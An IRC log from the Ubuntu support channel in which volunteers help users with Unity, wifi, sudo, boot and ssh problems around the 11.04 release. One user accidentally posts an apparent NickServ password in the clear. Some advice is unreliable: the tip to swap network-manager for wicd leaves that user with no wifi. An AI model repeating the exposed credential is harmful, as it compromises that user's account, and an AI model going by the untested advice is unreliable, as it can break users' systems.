[01:56] <bastidrazor> needlez: prior releases, before 11.04, work outstanding on the vast majority of comptuers. if your laptop can not run pre 2.6.35 kernel.. it _is_ crappy
[01:56] <Otoris> carl-m: Thanks, I'll look into that
[01:56] <carl-m> the package name is compizconfig-settings-manager and the program name is than ccsm
[01:57] <needlez> bastidrazor: then most i7 laptops would be crappy under that statement, which is very untrue, like i said crappy is an opinion not fact, and i have multiple i7 computers which don't like kernels before 2.6.35...
[01:57] <linuxmonkey> botcity,  no i found it anyways. i downloaded it off newsgroups and just wanted to check the checksum
[01:58] <eoss> ok no idea how to improve my situation with regards to graphics problems in wine, any halp appreciated
[01:58] <morelli> botcity: i hard restarted it onece and it showed me this static, hard reset again, only first screen showed, so tty1 remove unity, restart ubuntu told me that my hardware can't  use unity(douh unity was gone by that time), another hold, restart gdm
[01:58] <bastidrazor> needlez: apples and oranges.
[01:58] <ChogyDan> eoss: have you checked the wine app page for your app?
[01:59] <Logan_> eoss: /join #winehq
[01:59] <morelli> botcity: and now i'm using classic
[02:00] <needlez> well, it looks like maybe a distro change is in order guess i could try fedora, maybe the got the wifi cards working this time
[02:00] <twiggy_> can someone tell me how to make the ubuntu unity launcher stop hiding when i have a program open?
[02:00] <aeon-ltd> needlez: you might wanna try linux mint, they're kinda known for more compatibility stock than other distros
[02:01] <kippers> hi all!
[02:01] <eoss> ChogyDan: yes i checked, this bug is not there
[02:01] <needlez> aeon-ltd: just was using mint, however had an issue with repos with them they wouldn't always update correctly
[02:01] <kippers> is anybody here?
[02:02] <honsson> what's ubuntu?
[02:02] <needlez> thats y i went back to ubuntu figured 11.04 might be good, since mint just didn't wanna work for me
[02:02] <ChogyDan> eoss: if it is just wine, then you should ask in #winehq
[02:02] <bazhang> honsson, you know that
[02:02] <kippers> can i get some support?
[02:02] <carl-m> honsson: not much, really
[02:02] <honsson> bazhang: i actually don't know
[02:02] <l00pb4ck> are the ppa's still down?
[02:02] <jonrafkind> i accidentally removed the 'logout/shutdown' button from my gnome-panel, how do I get it back?
[02:03] <kippers> how can i stop my wireless from dying all the time? soetimes it works, but often it won't connect, even if it sees networks
[02:03] <carl-m> kippers: there are a lot of people here; just ask your question and someone will respond
[02:03] <Juest> jonrafkind: use add panel
[02:03] <bazhang> www.ubuntu.com honsson have a read
[02:03] <ChogyDan> jonrafkind: try adding indicator applet session
[02:03] <jonrafkind> i have the indicator applet already
[02:03] <Juest> shutdown applet?
[02:04] <dxdemetriou> In indicator applet when I create a profile for vpn connection id does not let me to save it without password (with Marverick I could).
[02:04] <ChogyDan> jonrafkind:  session <
[02:04] <greenlantern> can't install ubuntu 11.04 with unetbootin, after getting the file in pendrive with unetbooting , rebooting with usb first priority boot device, it's not booting ubuntu-11.04 , i get a message "Verifiying pool data" , and it's waiting for long time , can anyone point me where is the mistake ?
[02:04] <honsson> bazhang: so its an os
[02:04] <kippers> i haven't a clue about all this linux stuff, but it seems to run much better on my netbook than win7 does )
[02:04] <Julito35> which is the channel of argentina?
[02:04] <jonrafkind> ChogyDan, oh sorry you wre right, session is different from just the regular applet
[02:04] <bazhang> Julito35, #ubuntu-ar
[02:04] <jonrafkind> its confusing because there are like 4 indiciator applet things :p
[02:04] <Julito35> thnaks
[02:04] <arooni-mobile> hey folks doing: LilArooni ~: sudo cat "65" > /proc/sys/net/ipv4/ip_default_ttl  => bash: /proc/sys/net/ipv4/ip_default_ttl: Permission denied
[02:04] <ChogyDan> jonrafkind: yeah, i think it is confusing too  :)
[02:04] <botcity> twiggy_, i think its part of the new unity! i thought it was the launcher and menus app. if you push to the left it pops up
[02:05] <arooni-mobile> how do i change the ttl on ubuntu? doing bash: /proc/sys/net/ipv4/ip_default_ttl: Permission denied => Permission denied
[02:05] <sakuramboo> ive installed a few games, but they do not show up in the games menu in unity, is there a way to manually add them?
[02:05] <jonrafkind> ill go with the shutdown applet, thanks Juest !
[02:05] <honsson> IM PRETTY SURE UBUNTU IS THE BIGGEST SHIT EVER
[02:05] <arooni-mobile> sorry for repeaqt
[02:05] <honsson> JUST SAYING
[02:05] <FloodBot3> honsson: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[02:05] <honsson> FUCK
[02:05] <honsson> FUCK
[02:05] <jonrafkind> rofl
[02:05] <Jordan_U> How can I make Google Chrome the default browser that is launched when clicking links in gnome-terminal (e.g. for irssi)?
[02:05] <kippers> does anybody know how i can fix my wireless probs?
[02:05] <ivancp> how to upgrade to gnome3?
[02:05] <jonrafkind> kippers, install wicd. network manager is garbage
[02:05] <l00pb4ck> i get errors when i try to do any updates am i the only one?
[02:05] <greenlantern> can't install ubuntu 11.04 with unetbootin, after getting the file in pendrive with unetbooting , rebooting with usb first priority boot device, it's not booting ubuntu-11.04 , i get a message "Verifiying pool data" , and it's waiting for long time , can anyone point me where is the mistake ?
[02:05] <Jordan_U> !gnome3 | ivancp
[02:05] <ubottu> ivancp: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[02:05] <kippers> wicd? how do i install it?
[02:05] <jonrafkind> sudo apt-get install wicd
[02:06] <ahmed_> How to revert back to unity after identifying my driver? the ubuntu choice in the login always logging to gnome ?!!
[02:06] <Juest> Jordan_U: just set it as default, have sense-browser command in preferred apps?
[02:06] <Otoris> Jordan_U Go to your power off button and at the bottom of that menu click system settings -> preferred applications
[02:06] <Jordan_U> greenlantern: Have you ever been able to boot from USB on this machine?
[02:06] <kippers> ok, installing wicd now )
[02:06] <Juest> Jordan_U: and also, set the browser itself as default
[02:06] <greenlantern> Jordan_U: yes
[02:06] <jonrafkind> and then you can uninstall network manager: sudo apt-get remove network-manager
[02:07] <jonrafkind> because having both installed at the same time will break stuff
[02:07] <Jordan_U> Otoris: Thanks. That worked.
[02:07] <morelli> botcity: any idea why i had this tv-like static?
[02:07] <kippers> ok, will do ) i do really like ubuntu on my netbook, although it is a bit ugly :P but, as the guy who recomended itsaid, it runs like hot shit off a stick )
[02:07] <ahmed_> Guys after my VGA driver identification I can't login to unity, always logging to classic gnome while I choose "ubuntu" from login window, ANy suggestions ?!
[02:08] <jerriy> carl-m: ···> http://paste.ubuntu.com/601539/
[02:08] <bazhang> kippers, no cursing
[02:08] <sakuramboo> also, every time i launch gnome-terminal, it tells me that byobu-launcher isnt installed, why is it looking for byobu and how do i get it to stop saying that?
[02:08] <carl-m> jerriy: but still the same error, error resolving host myhost
[02:08] <twiggy_> botcity: that only has 2 options neither of which stop it from hiding
[02:08] <Jordan_U> greenlantern: What were you able to boot successfully from USB?
[02:08] <greenlantern> Jordan_U: yes, 1 year ago
[02:09] <botcity> morelli, is your ati driver correctly installed ?
[02:09] <kippers> ok, after installing wicdand removing network manager, do i need to restart?
[02:09] <Jordan_U> greenlantern: What (as in what OS, installed to the USB how) were you able to boot successfully from USB?
[02:09] <jerriy> carl-m what should it be then?
[02:09] <carl-m> jerriy: is that right - that you still have the error?
[02:09] <IdleOne> kippers: probably, yes.
[02:09] <morelli> botcity: what do you mean 'correctly' it works now and worked before unity
[02:09] <carl-m> after that change, I'm not sure what's up
[02:10] <kjxl9> hello
[02:10] <rgr> sakuramboo: check you're really launching gnome-terminal and if so then check your bashrc that it isnt attaching.
[02:10] <carl-m> you haven't edited /etc/sudoers or anything like that, right?
[02:10] <botcity> twiggy_, there maybe a an option in ccsm i dont know.
[02:10] <kippers> thanks for your help, trying it all now )
[02:10] <kjxl9> im following a tutorial at:http://www.ehow.com/how_7729420_use-ps3-controller-ubuntu.html
[02:10] <arooni-mobile> how do i change the ttl on ubuntu? doing bash: /proc/sys/net/ipv4/ip_default_ttl: Permission denied => Permission denied
[02:11] <greenlantern> Jordan_U: i installed ubuntu 9.04 with unetbootin.exe
[02:11] <morelli> botcity: i got simmilar tv-like static only on boot screan never when the desktop loaded fully
[02:11] <jerriy> carl-m: yes http://paste.ubuntu.com/601544/
[02:11] <carl-m> jerriy: but does it pop up a terminal?
[02:11] <botcity> morelli, so it works fine with classiic not with unity?
[02:11] <Rehan> stupid dropbox keeps not auto-starting at boot
[02:11] <sakuramboo> rgr: im launching `gnome-terminal` from a terminal, the terminal opens fine, but reports that error, i can still use it, though. and there are no references to byobu in both $HOME/.bashrc and /etc/bash.bashrc
[02:12] <greenlantern> rebooting
[02:12] <jerriy> What do you mean "pop up a terminal" I can "open" the file
[02:12] <morelli> botcity: yes, but why? you know i wanted to try this 'unity' and stuff
[02:12] <jerriy> if it wasn't a sudo file
[02:12] <carl-m> I mean, does it run gnome-terminal, or prompt for a password, or just do nothing?
[02:12] <kippers> ok installing wicd hasn't worked at all - before, i could see wireless networks, even if i couldn't connect, but now t sees nothing
[02:13] <morelli> botcity: but it does not work for me, and i don't know why
[02:13] <Julito35> I have problems with AVIDEMUX, with mp4 720p videos, anyone can help me?
[02:13] <kjxl9> when i type in a certain command, this comes up "unable to retrieve local bd_addr from 'hcitool dev' (line break) please enable bluetooth or speccify and address manaly"
[02:13] <harovali> hi, how can I tell ubuntu bot to update the clock over the network time protocol ? (because I'd like to set the time manually for a while)
[02:14] <jerriy> it does nothing (after it shows the warning or whatever (and if it is for example synaptic or auto update then i tick in the sudo password but then it doesn't even say "sorry" like in terminal
[02:14] <harovali> i mean not to update , not bot
[02:14] <carl-m> and 'sudo whoami' still says it can't resolve the host?
[02:15] <KNUBBIG> is it possible to write a message in pidgin via the terminal? Would be nice for a drop down terminal while being on another workspace
[02:15] <kippers> any ideas on how i can get my wifi working now? wicd has complete;y murdered what little conectivity i had
[02:15] <the67pc>  /msg NickServ identify leirbag
[02:15] <the67pc> voltei
[02:15] <sakuramboo> KNUBBIG: if i remember correctly, there is a terminal version of pidgin available
[02:15] <jerriy> carl-m: it now says "Sorry, try again." but hat's cuz I rebooted (if i tried the third time it will again say can't resolve the host
[02:15] <the67pc>  /msg NickServ identify <password>.
[02:15] <the67pc> aff
[02:15] <carl-m> jerriy: on my system, if I remove the line from /etc/hosts, I get the error message, but it also runs the command for me
[02:15] <kjxl9> i need some help
[02:15] <KNUBBIG> sakuramboo: cool, thanks I'll see if I find something
[02:15] <kjxl9> when i type in a certain command, this comes up "unable to retrieve local bd_addr from 'hcitool dev' (line break) please enable bluetooth or speccify and address manaly"
[02:16] <dxdemetriou> from "indicator applet" the "vpn" where it stores the "private key password"? It doesn't accept to be empty.
[02:16] <kippers> any ideas on how i can get my wifi working now? wicd has complete;y murdered what little conectivity i had
[02:16] <sakuramboo> KNUBBIG: i used it before, some time last year, it was actually pretty cool. very good use of the ncurses library
[02:16] <carl-m> jerriy: like this: http://paste.ubuntu.com/601545/
[02:17] <kippers> any ideas, anybody?
[02:17] <kippers> any ideas on how i can get my wifi working now? wicd has complete;y murdered what little conectivity i had
[02:17] <KNUBBIG> sakuramboo: I found a program called finch, did you use that?
[02:17] <KNUBBIG> !info finch
[02:17] <ubottu> finch (source: pidgin): text-based multi-protocol instant messaging client. In component main, is optional. Version 1:2.7.11-1ubuntu2 (natty), package size 217 kB, installed size 676 kB
[02:17] <kjxl9>  im following a tutorial here: http://www.ehow.com/how_7729420_use-ps3-controller-ubuntu.html. when i type in "sudo ./sixpair, this comes up "unable to retrieve local bd_addr from 'hcitool dev' (line break) please enable bluetooth or speccify and address manaly"
[02:17] <sakuramboo> yes, thats it
[02:17] <KNUBBIG> sakuramboo: thanks a lot :)
[02:17] <sakuramboo> no problem :) enjoy it, its very nice
[02:18] <botcity> morelli, you may be able to try it but you will have to disable your graphics card. i think that is what is causing the static you could try a live disk. may work better that way possibly!
[02:18] <kippers> can anyone tell me at least where to get some info? i'll past my q again:
[02:18] <kippers> any ideas on how i can get my wifi working now? wicd has complete;y murdered what little conectivity i had
[02:19] <jerriy> carl-m: no I don't get any of that. It's just waiting for the sudo command
[02:19] <sakuramboo> kippers: does wireless work if you use the terminal?
[02:19] <kjxl9>  im following a tutorial here: http://www.ehow.com/how_7729420_use-ps3-controller-ubuntu.html. when i type in "sudo ./sixpair, this comes up "unable to retrieve local bd_addr from 'hcitool dev' (line break) please enable bluetooth or speccify and address manaly"
[02:19] <ChogyDan> kippers: what card?
[02:19] <carl-m> what do you mean waiting?
[02:19] <needlez> other thing is that i want the auto window resizing feature that 11.04 offers just not sure if anyother distro has that ability
[02:19] <morelli> botcity: thanks for help :)
[02:19] <kippers> no wi-fi at all now
[02:19] <pksadiq> kjxl9: have you enabled your bluetooth?
[02:19] <kippers> dunno what card, or how to find out on linux, im using a samsung n150
[02:19] <kjxl9> yes
[02:19] <KNUBBIG> wow except that it doesn't seem to recognize my skype it's pretty awesome :)
[02:20] <silwal> Please start Google Chrome as a normal user. If you have previously run Google Chrome as root, you will need to change the ownership of your profile directory.wat shud i do?
[02:20] <sakuramboo> kippers: open a terminal, does the card show up when you type `lspci`?
[02:20] <l00pb4ck> kjxl9: i had to restart the bluetooth service to be able to use it
[02:20] <pksadiq> kjxl9: what does sudo hcitool scan          gives ?
[02:20] <kippers> it worked a little until i installed wicd, but wouldonly connect on about 1/4 of boots
[02:20] <jerriy> it means it asks me to type the password (try again... and again...
[02:20] <l00pb4ck> kjxl9: sudo service bluetooth restart
[02:21] <sakuramboo> KNUBBIG: glad you like it, it saved me a few times in the past when i couldnt forward X11 over ssh ;)
[02:21] <kippers> yeah, RTL8129e is the model, i think
[02:21] <kippers> realtek
[02:21] <pazsion> sup
[02:21] <kjxl9> it sais no suck device
[02:21] <kjxl9> and i have my controller plugged in
[02:21] <l00pb4ck> lol
[02:21] <carl-m> jerriy: that sounds like you are typing the wrong password?
[02:21] <sakuramboo> kippers: is the device listed in `iwconfig`?
[02:21] <carl-m> do you have auto login, or do you type the password to log in?
[02:21] <jerriy> Where do I get it right?
[02:21] <katsrc> every time i build GIMP i get a segfault when i try to launch it , anyone know what could be causing this?
[02:21] <carl-m> by the way, it seems that both 127.0.0.1 and 127.0.1.1 work for me, so that was not the problem
[02:22] <pksadiq> kjxl9: just unplug the device and replug and so the same ./si....   as you did before
[02:22] <kippers> yeah, it is. i thought maybe it'd be a driver problem, but it's wierd, as it DID kinda work, but not very well
[02:22] <jerriy> I login with my account
[02:22] <sakuramboo> kippers: can you use `iwconfig` to set up your wireless connection?
[02:22] <silwal>  Please start Google Chrome as a normal user. If you have previously run Google Chrome as root, you will need to change the ownership of your profile directory . Can anybody help me im in bt-4 R2???
[02:22] <kippers> i've no idea how
[02:22] <kjxl9> still nothing
[02:22] <pazsion> !ot
[02:22] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[02:22] <KNUBBIG> sakuramboo: :-) I recently got to like irssi as I can start it in guake and "take it" to every workspace which is sometimes required when having only one display available :)
[02:23] <Datz> Hi, I just want to use Gnome2 and not unity. How can I remove just unity? "aptitude purge unity" ?
[02:23] <IdleOne> silwal: #backtrack-linux
[02:23] <carl-m> so you run su, and it gives that error, then you type the password, and it says 'Sorry, try again', and you try again. if you do it trhee times, what does it say?
[02:23] <KNUBBIG> sakuramboo: so thanks for the tip :)
[02:23] <botcity> katsrc, build gimp ?
[02:23] <pksadiq> kjxl9: do sudo service bluetooth restart         and then try sudo hcitool scan
[02:23] <kjxl9> ok
[02:23] <ny51bern> Ubuntu 11 freezes at login screen any ideas?
[02:23] <Rehan> Datz: i think you can choose to login to Ubuntu Classic for the non-Unity version
[02:23] <katsrc> botcity: compile it from source
[02:23] <sakuramboo> KNUBBIG: look into using screen with it, you can ssh into the machine from anywhere, run `screen -raAd` and bring your irssi connection right up without skipping a beat
[02:23] <Datz> Rehan: it is causing problems though
[02:24] <kjxl9> says no ddevices still even though it is plugged in
[02:24] <katsrc> botcity: even the PPA's cause segfault
[02:24] <crimton> 11.04 doesn't see eth0 anymore, anyone have this?
[02:24] <Datz> I guess I'll try and purge unity and see what it does
[02:24] <KNUBBIG> sakuramboo: oy, nice idea, thanks. Instantly going to start it on an available server :)
[02:24] <Rehan> Datz: what happens?
[02:24] <katsrc> i'm using Matt Walker's PPA: https://launchpad.net/~matthaeus123/+archive/mrw-gimp-svn
[02:24] <Datz> Rehan: ok so it wants to also remove ubuntu-destop
[02:25] <senatortom> anyone well versed in C willing to take a look at some code I have that I'm having trouble debugging?
[02:25] <Datz> so that is;nt good
[02:25] <sakuramboo> KNUBBIG: yeah, i dedicated an old Dell laptop, slapped slackware on it and all it does is listen on port 22, i run screen and irssi on it
[02:25] <ny51bern> Ubuntu 11 freezing at login screen. any suggestions?
[02:25] <ABCZY> I need help with ubu8ntu
[02:25] <Datz> ny51bern: try safe mode
[02:25] <carl-m> ABCZY: don't we all
[02:25] <sakuramboo> KNUBBIG: thats how im on here right now, im ssh'ed into it from my main desktop, its great, never have to sign off :)
[02:25] <kippers> sakuramboo: sorry, i ahvent a clue how to set it up with iwconfig
[02:25] <ny51bern> Datz: how do i boot in safe mode?
[02:25] <Cale> Pulseaudio is completely broken on my machine (only shows single master greyed out volume control pegged at zero). Is there a convenient PPA or something for adding back the gnome volume control panel applet in 11.04?
[02:25] <Cale> (the one which works with alsa)
[02:25] <Datz> ny51bern: do you see a grub boot menu?
[02:25] <sakuramboo> kippers: check your pvts
[02:25] <botcity> katsrc, i see.
[02:25] <Datz> before you get to teh login?
[02:25] <KNUBBIG> sakuramboo: I got an online backup server running debian, so I'll use that. Thank you very much this is a great idea :)
[02:26] <Stameni1> hello, how do i forece file system check fsck on next reboot ?
[02:26] <kjxl9> should i try rebooting with the controller plugged in?
[02:26] <Stameni1> hello, how do i force file system check fsck on next reboot ?
[02:26] <ny51bern> Datz: yeah i get beyond there. I should press power button and go back to there?
[02:26] <sakuramboo> KNUBBIG: my pleasure :)
[02:26] <needlez> hey, what is the program name that allows for the resizing of the windows when dragged the right left or top??
[02:26] <Jordan_U> Stameni1: sudo touch /forcefsck
[02:26] <Datz> ny51bern: yes
[02:26] <Stameni1> Jordan_U, thank you
[02:26] <Datz> or ctl atl del
[02:26] <Jordan_U> Stameni1: You're welcome.
[02:27] <ny51bern> Datz: okay doing that now. anything to look for/do ?
[02:27] <Datz> Jordan_U: do you know if there is a way to remove unity and just keep Gnome 2 desktop?>
[02:27] <ny51bern> Datz: gave me a recovery menu
[02:27] <Datz> ny51bern: nope, just boot to safe-mode
[02:27] <Jordan_U> Datz: I do not know.
[02:27] <Datz> Jordan_U: ok thanks
[02:27] <ny51bern> Datz: lots of options in this menu.
[02:28] <Datz> ny51bern: try the latest kernels ssafe mode
[02:28] <pksadiq> kjxl9: sorry , i was away, may you can try a reboot too with the device plugged
[02:28] <Datz> ny51bern: that won't solve your problem, but hopefully you'll be able to log in
[02:28] <Rehan> Datz: can you highlight me?
[02:28] <Datz> ny51bern: I had a freeze before the login, and I was able to boot to safe mode. Now I just want ot remove unity
[02:29] <Datz> Rehan: sure
[02:29] <Rehan> Datz: thanks
[02:29] <Rehan> was just testing something Datz
[02:29] <Datz> np ;)
[02:29] <jerriy> carl-m: su: Authentication failure
[02:29] <ny51bern> Datz: don't see that option. i got: resume normal, try to make free space, repair broken packages, run in fail safe graphics mode, reboot into file system check...
[02:29] <malv> my keyboard doesnt have a windows key. Is it possible to rebind the windows key to another key?
[02:29] <Datz> ny51bern: ah, ok you have another menu, not grub
[02:30] <ny51bern> Datz:  its called the recovery menu. any ideas?
[02:30] <Datz> ny51bern: was just there myself repairing grub. but I don't know what your problem is/
[02:30] <trailoryo> how can I hotkey workspaces? or swap with for instance holding mouse1&2 + dragging?
[02:30] <nit-wit> ny51bern, that is the menu from the recovery
[02:30] <bullgard4> Cale: In Ubuntu 11.04, at login, you can select GNOME 2. There you will have the GNOME volume control applet.
[02:30] <ny51bern> I'm not sure. It just feezes right when I hit the login screen
[02:31] <Datz> ny51bern: might have to sit tight, I can't really can't help you with that.
[02:31] <botcity> is a mtrr problem fixable ?
[02:31] <ny51bern> nit-wit: any ideas?
[02:31] <ny51bern> Datz:  thanks, maybe book in 'repair broken packages' ?
[02:31] <ny51bern> boot*
[02:32] <nit-wit> ny51bern, I was trying ti find what the problem is can you tell me again
[02:32] <haroon> In my unity desktop 11.04 alt+f1,alt+f2,alt+f3..alt+f7 isn't working according to shortcuts defined it. It switch me to tty consoles
[02:32] <ny51bern> nit-wit: ubuntu11 frozen at login screen
[02:32] <ny51bern> nit-wit: boots fine, just when its time to input password, im frozen
[02:32] <eoss> how do i find what version of my graphics card
[02:33] <ny51bern> nit-wit: im on a dual boot with windows xp
[02:33] <carl-m> jerriy: try typing your password at the prompt just to make sure it appears correctly
[02:33] <KNUBBIG> brb ;-)
[02:33] <uberfrau> hey guys, I'm trying to install a gedit plugin, and since I didn't have a ~/.local/share/gedit/plugins path, I made it in terminal, but it doesn't show up in Dolphin. What can I do? (Kubuntu 10.10 user btw)
[02:33] <Datz> Rehan: I'm going to try and purge unity, and install "gnome-desktop-environment
[02:33] <Datz> Rehan: I'll let you know how it goes :P
[02:33] <KNUBBIG> yey it works
[02:33] <Juest> datz: ubuntu-desktop
[02:33] <carl-m> jerriy: try 'su jerriy' ( or whtevery your username is) and see if that will accept your password
[02:33] <Juest> or are you in 11.04?
[02:34] <KNUBBIG> is there an option to execute a command upon login via ssh?
[02:34] <nit-wit> ny51bern, have you tried alow graphics boot in
[02:34] <Datz> Juest: hum?
[02:34] <ny51bern> nit-wit: hvnt tried anything. im kinda an idiot with ubuntu.
[02:34] <Datz> I gyess I don't need to purge unity
[02:34] <ny51bern> nit-wit: how should i do that?
[02:34] <Datz> just remove
[02:34] <pksadiq> uberfrau: the paths that start with . (a period) is hidden , may be there is an option in the 'view' menu to view hidden,
[02:34] <nit-wit> ny51bern, have you installed graphics drivers in the past?
[02:35] <ny51bern> nit-wit: don't think so.
[02:35] <aussa> I'm trying to build some program, while the "make" command an error ocurrs, I asked for help at the program home page, and they told me to: "take the command where it tries to compile OSGXmltokenizer.cpp and replace -c with -E". I don't know how to do that, where should I look? what do I do?
[02:35] <haroon>  In my unity desktop 11.04 alt+f1,alt+f2,alt+f3..alt+f7 isn't working according to shortcuts defined it. It switch me to tty consoles
[02:35] <Jordan_U_> aussa: What are you trying to install?
[02:35] <Datz> Although it doesn't want to let me remove unity without removing ubuntu-desktop
[02:35] <Datz> damn..
[02:35] <pksadiq> haroon: alt+ctrl +...
[02:35] <aussa> OpenSG
[02:35] <Jordan_U_> !ubuntu-desktop | Datz
[02:35] <ubottu> Datz: k/ed/x/l/ubuntu-desktop is a metapackage. It depends upon other packages and brings them in; you can safely remove it, but it is recommended that you re-install it when upgrading.
[02:35] <escott> aussa, in the makefile look for the OSGXmltokenizer target, look up until you see a line with gcc -c and try to change that
[02:35] <KM0201> Datz: i believe thats just a meta package.. you'll see a lot of packages remove that
[02:36] <jerriy> carl-m: su username   >> Passworld: >>     su: Authentication failure
[02:36] <Datz> KM0201: is there a minimal gnome2 desktop?
[02:36] <Datz> package
[02:36] <botcity> KNUBBIG, .bashrc file i think , on the computer your sshing into.
[02:36] <Rehan> is there anyway I can make my laptop's touchpad not take any input while i'm typing? getting so frustrated with accidentally palming the touchpad and it messing me up
[02:36] <nit-wit> ny51bern, at the grub menu hit e then use the keyboard arrows to navigate ti the splash at the end of the kernel line and replace it with nomodeset the crtlx to boot to a command line boot in then hit startx
[02:36] <carl-m> jerriy: that is very odd; you should be able to su to yourself
[02:36] <KNUBBIG> botcity: okay, thanks, will try that
[02:36] <Datz> KM0201: nevermind, I'll search
[02:36] <KM0201> Datz: if you're using 11.04, it should be installed by default, log out, at sign on screen, clcik your username then click "Sessions" and set it to Gnome classic
[02:36] <sidge> hello all, my google-fu has failed me...how do i make dvd-roms automaont to a set mount point like they used ie /media/cdrom0
[02:36] <Cale> bullgard4: I've already selected "Ubuntu Classic" and gotten the standard panel. The problem is that the only provided volume control is the pulseaudio one built into the indicator applet
[02:36] <[4-tea-2]> Rehan: duct tape?
[02:36] <carl-m> you actually type your password to log into the computer, it does not log you in automatically - is that right?
[02:37] <pksadiq> jerriy: did you try sudo -i ?
[02:37] <Datz> KM0201: yea, but I want it gone :P
[02:37] <uberfrau> pksadiq, I don't think I created the directory with a . in it, and when I enabled 'show hidden files' it didn't pop up. Maybe I created the directory incorrectly in Konsole? There is documentation by the plugin writer if that would help? ;o
[02:37] <Rehan> [4-tea-2]: ha ha, any real solution that you know of?
[02:37] <KM0201> you want what gone? unity?.. so uninstall it.. thats no tgonna effect gnome
[02:37] <Datz> KM0201: there is freezing, and I have to boot to safe mode
[02:37] <Datz> KM0201: there is some driver issue
[02:37] <sakuramboo> ive installed a few games, but they do not show up in the games menu in unity, is there a way to manually add them?
[02:37] <bullgard4> Cale: Just a second.
[02:37] <[4-tea-2]> Rehan: nope, sorry. If there was, it would probably be in the Accessibility area.
[02:37] <haroon>  In my unity desktop 11.04 alt+f1,alt+f2,alt+f3..alt+f7 isn't working according to shortcuts defined it. It switches me to tty consoles . for example alt+f2 should start unity lense for run command but It isn't working
[02:37] <pksadiq> uberfrau: the .local is hidden, it is in your home directory
[02:37] <Datz> KM0201: I'm not going to be able to run unity here
[02:38] <jerriy> carl-m: sudo -i  >>> [sudo] password for mypc: >>> Sorry, try again.
[02:38] <KM0201> Datz: ok.. so don't run it?
[02:38] <uberfrau> pksadiq, what? o.O
[02:38] <pksadiq> haroon: try ALT+CTRL+F1....F7
[02:38] <Datz> KM0201: so I'm going to remove it
[02:38] <nit-wit> haroon, I think you have to assign the keys but alt f2 is a system setup
[02:38] <KM0201> Datz: ok, if thats what you want to do.
[02:38] <Datz> tis
[02:38] <Cale> bullgard4: For the last few versions of ubuntu, I've been forced to recompile the gnome-media package without the pulseaudio stuff in it.
[02:38] <KM0201> Datz: the other option is to install one of the "lighter" desktops.. depending on the specs of your machine.. xfce or lxde
[02:38] <ny51bern> nit-wit: splash at end of kernel line?
[02:39] <twiggy_> can someone tell me why fatrat won't show up in the top-right corner of my screen now? ktorrent does, transmission does, but fatrat won't do it.
[02:39] <nit-wit> ny51bern, the word splash
[02:39] <Datz> KM0201: well it's a VM, so no unity, but gnome2 without unity works fine
[02:39] <Jordan_U> I'm using Ubuntu 11.04 (upgraded) with the proprietary nvidia driver and compiz and other 3D apps are incredibly slow (compiz is almost unusable).
[02:39] <Datz> I guess I could probably run unity but ..eh
[02:39] <Cale> bullgard4: But that's being a bit temperamental now, and I'm wondering if there isn't a better way to go about removing pulseaudio and setting things up nicely wrt. panel applets for volume control and mixers etc.
[02:39] <KM0201> Datz: ok, well thaen thats your answer
[02:39] <haroon> nit-wit, how can I defilsne it in system setup please little detai
[02:39] <luigi_panache> Hi, I'm looking for some help cross-compiling for a mips system. Is this a good channel to ask, or is  elsewhere better?
[02:40] <ny51bern> nit-wit: replace the word splash with "nomodeset" ?
[02:40] <pksadiq> haroon: its already defined . just do as above I said to get ttys
[02:40] <Cale> (I'm thinking that surely removing pulseaudio must be common enough a request that other people have encoded their solutions in the form of a package or something :)
[02:40] <Datz> luigi_panache: this channel is going to be a bit busy as 11.04 was just released, might ask somewhere quieter
[02:40] <sidge> jordan, have you turned off desktop effects under appearance?
[02:40] <nit-wit> ny51bern, that is the ticket.:)
[02:40] <KNUBBIG> hm when I ssh into the machine, .bashrc somehow doesn't get executed, only when I manually invoke bash, although the shell I'm using on login is bash. Any ideas?
[02:40] <bullgard4> Cale: On my Natty system the DEB program package »gnome-media« is installed also.
[02:40] <pksadiq> haroon: it cant be changed
[02:40] <carl-m> jerriy: for some reason it does not seem to be accepting your password. I have no idea why. you could try resetting it (in recovery mode) and then try sudo again
[02:40] <ny51bern> nit-wit: okay this stuff is dangerous no?
[02:40] <luigi_panache> Datz: I'm realllly new to irc. How do I search channels on here?
[02:40] <haroon> pksadiq ,I did same happens
[02:41] <ny51bern> nit-wit:  im a little scared :)
[02:41] <nit-wit> haroon, I haven't spent anytime doing key assignments I know no more then you.
[02:41] <escott> KNUBBIG, you have to have a login shell i think it is ssh -i
[02:41] <pksadiq> haroon: Its default to every linux
[02:41] <haroon> yes
[02:41] <Cale> bullgard4: If you right click a blank space on your panel and choose "Add to Panel...", do you see Volume Control among the listed applets?
[02:41] <KNUBBIG> escott: sorry, didn't understand that?
[02:41] <nit-wit> ny51bern, ah the change your doing is not permanent a per session
[02:41] <ny51bern> okay
[02:41] <bitium> hola
[02:41] <carl-m> KNUBBIG: it runs mine
[02:41] <sakuramboo> KNUBBIG: check permissions? should be -rw-r--r--
[02:41] <Datz> luigi_panache: there is a special way on larger networks, /list is the usual way. Go as in #help , I forgot
[02:41] <ny51bern> nit-wit: okay. changin it now what do i do with ctrl x?
[02:41] <carl-m> try putting 'echo bashrc' at the top and ssh again
[02:41] <Cale> Or do you only have the indicator applet?
[02:42] <Pascalcmoi> Hi, I updated to ubuntu 11.04 and now the computer do not boot (always return to grub even the recovery mode) what cause that
[02:42] <escott> KNUBBIG, if you just ssh john@host "command x" then command x is run but not as a login shell. ie profile, bashrc, etc are ignored
[02:42] <luigi_panache> Datz: thanks
[02:42] <carl-m> KNUBBIG: are you running a shell over ssh, or running some other program?
[02:42] <Datz>  luigi_panache no problem
[02:42] <haroon> ctrl+alt+f1 is default but why it took me on tty console when I press atl+f1
[02:42] <KNUBBIG> carl-m: over ssh
[02:42] <carl-m> KNUBBIG: I mean are you running some other program over ssh
[02:42] <nit-wit> ny51bern, crtl-x is the command to boot from there to a command to login then run startx to start the desktop
[02:42] <carl-m> rather than just 'ssh hostname'
[02:42] <KNUBBIG> escott:ah oky, thanks, will look into that
[02:42] <KNUBBIG> carl-m: no just ssh hostname -l login
